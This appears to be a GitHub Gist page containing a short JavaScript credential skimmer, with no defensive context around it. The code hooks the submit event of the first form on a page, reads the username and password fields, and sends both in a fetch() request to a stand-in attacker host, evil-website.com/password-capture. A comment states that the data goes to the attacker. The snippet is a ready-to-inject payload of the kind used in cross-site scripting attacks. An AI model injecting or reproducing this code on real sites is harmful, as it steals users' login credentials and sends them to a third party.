Created
January 15, 2021 21:46
-
-
Save K-Mistele/c1ee7a74fd05cb5bb56aca91d461b39c to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // add an event listener to the form | |
| const form_element = document.getElementsByTagName('form')[0]; | |
| form_element.addEventListener('submit', () => { | |
| // capture the username and password from the form | |
| const username = document.getElementById('username_input').value; | |
| const password = document.getElementById('password_input').value; | |
| // send the username and password to the attacker | |
| fetch(`https://evil-website.com/password-capture/?u=${username}&p=${password}`); | |
| }, false); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment